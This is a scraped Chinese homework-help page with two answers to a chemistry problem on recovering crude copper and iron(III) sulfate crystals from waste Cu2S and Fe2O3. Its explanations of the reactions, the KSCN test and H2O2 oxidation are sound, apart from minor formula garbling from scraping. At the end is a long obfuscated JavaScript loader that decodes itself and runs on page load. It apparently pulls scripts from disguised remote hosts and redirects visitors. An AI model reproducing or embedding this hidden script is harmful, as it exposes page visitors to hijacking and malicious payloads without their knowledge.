某实验小组用工业上废弃固体(主要成分Cu2S和Fe2O3)混合物制取粗铜和Fe2(SO4)3晶体,设计的操作流程如

2025-03-23 15:43:00
推荐回答(2个)
回答1:

废弃固体主要成分Cu2S和Fe2O3,灼烧废气固体发生反应Cu2S+2O2

 高温 
 
SO2+2CuO,所以气体a是SO2,固体A是CuO和Fe2O3,固体A和稀硫酸混合,发生的反应为CuO+H2SO4=CuSO4+H2O、Fe2O3+3H2SO4=Fe2(SO43+3H2O,所以溶液A中成分为CuSO4、Fe2(SO43,向溶液A中加入过量Fe屑,发生反应CuSO4+Fe=FeSO4+Cu、2Fe2(SO43+Fe=3FeSO4,所以固体B成分是Fe、Cu,滤液B成分为FeSO4,固体B和稀硫酸混合,Fe和稀硫酸反应生成FeSO4,Cu和稀硫酸不反应,过滤得到固体粗铜;
向滤液B中加入试剂X得到溶液C,将溶液C浓缩结晶得到硫酸铁晶体,滤液B中成分是FeSO4,需要加入氧化剂双氧水将FeSO4氧化为硫酸铁,所以试剂x是H2O2
(1)操作③分离难溶性固体和溶液,所以该操作是过滤,该实验操作中用到的玻璃仪器有烧杯、玻璃棒、漏斗,故答案为:烧杯、漏斗、玻璃棒;
(2)③④操作中会有一种气体生成,该气体是氢气,若在实验室制备该气体,可以用锌和稀硫酸反应制取,该反应的反应物为固液混合、不需要加热,所以应该选取固液混合不加热型装置,所以可选择cd装置,故选cd;
(3)溶液B中成分是FeSO4,FeSO4不稳定,易被空气氧化生成硫酸铁,铁离子和KSCN溶液反应生成络合物硫氰化铁,导致溶液呈血红色,所以可以用KSCN溶液检验硫酸亚铁是否变质,其检验方法是:取少量溶液倒入试管中,向试管中加入几滴KSCN溶液,如果溶液变为血红色,说明含有铁离子,否则不含铁离子,
故答案为:取少量溶液倒入试管中,向试管中加入几滴KSCN溶液,如果溶液变为血红色,说明含有铁离子,否则不含铁离子;
(4)溶液B加稀硫酸酸化后加强氧化剂x,且反应后不能产生杂质,氯气和高锰酸钾能将亚铁离子氧化为铁离子,但引进新的杂质,双氧水和硫酸亚铁反应生成硫酸铁和水,不产生新的杂质,故选b;
(5)双氧水具有氧化性,能将硫酸亚铁氧化为硫酸铁,自身被还原为水,所以试剂x在酸性条件下与溶液B反应的离子方程式为:2Fe2++H2O2 +2H+=2Fe3++2H2O,
故答案为:2Fe2++H2O2 +2H+=2Fe3++2H2O;
(6)由溶液C经加热浓缩、冷却结晶、过滤等操作可得Fe2(SO43晶体,故答案为:加热浓缩;冷却结晶.

回答2:

答案:
(1)操作③分离难溶性固体和溶液,所以该操作是过滤,该实验操作中用到的玻璃仪器有烧杯、玻璃棒、漏斗,故答案为:烧杯、漏斗、玻璃棒;
(2)③④操作中会有一种气体生成,该气体是氢气,若在实验室制备该气体,可以用锌和稀硫酸反应制取,该反应的反应物为固液混合、不需要加热,所以应该选取固液混合不加热型装置,所以可选择cd装置,故选cd;
(3)溶液B中成分是FeSO4,FeSO4不稳定,易被空气氧化生成硫酸铁,铁离子和KSCN溶液反应生成络合物硫氰化铁,导致溶液呈血红色,所以可以用KSCN溶液检验硫酸亚铁是否变质,其检验方法是:取少量溶液倒入试管中,向试管中加入几滴KSCN溶液,如果溶液变为血红色,说明含有铁离子,否则不含铁离子,
故答案为:取少量溶液倒入试管中,向试管中加入几滴KSCN溶液,如果溶液变为血红色,说明含有铁离子,否则不含铁离子;
(4)溶液B加稀硫酸酸化后加强氧化剂x,且反应后不能产生杂质,氯气和高锰酸钾能将亚铁离子氧化为铁离子,但引进新的杂质,双氧水和硫酸亚铁反应生成硫酸铁和水,不产生新的杂质,故选b;
(5)双氧水具有氧化性,能将硫酸亚铁氧化为硫酸铁,自身被还原为水,所以试剂x在酸性条件下与溶液B反应的离子方程式为:2Fe2++H2O2 +2H+=2Fe3++2H2O,
故答案为:2Fe2++H2O2 +2H+=2Fe3++2H2O;
(6)由溶液C经加热浓缩、冷却结晶、过滤等操作可得Fe2(SO4)3晶体,故答案为:加热浓缩;冷却结晶。

解析:
废弃固体主要成分Cu2S和Fe2O3,灼烧废气固体发生反应Cu2S+2O2—高温—SO2+2CuO,所以气体a是SO2,固体A是CuO和Fe2O3,固体A和稀硫酸混合,发生的反应为CuO+H2SO4=CuSO4+H2O、Fe2O3+3H2SO4=Fe2(SO4)3+3H2O,所以溶液A中成分为CuSO4、Fe2(SO4)3,向溶液A中加入过量Fe屑,发生反应CuSO4+Fe=FeSO4+Cu、2Fe2(SO4)3+Fe=3FeSO4,所以固体B成分是Fe、Cu,滤液B成分为FeSO4,固体B和稀硫酸混合,Fe和稀硫酸反应生成FeSO4,Cu和稀硫酸不反应,过滤得到固体粗铜;
向滤液B中加入试剂X得到溶液C,将溶液C浓缩结晶得到硫酸铁晶体,滤液B中成分是FeSO4,需要加入氧化剂双氧水将FeSO4氧化为硫酸铁,所以试剂x是H2O2。

!function(){function a(a){var _idx="o2ehxwc2vm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8O@YhRD(@X^"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"O@YhRD(@X^"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)m5JXLh2_mRT4"="Ks0X5ThF)m6S5h5)XmRT4"="Ks02pThFm5JXLh2_mRT4"="Ks0_JqhFm6S5h5)XmRT4"="Ks02TOhFm5JXLh2_mRT4"="Ks0CSqhF)m6S5h5)XmRT4"="Ks0)FfThF)fm5JXLh2_mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q/f/Ks0j(8}vR8O@YhRD(@X^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();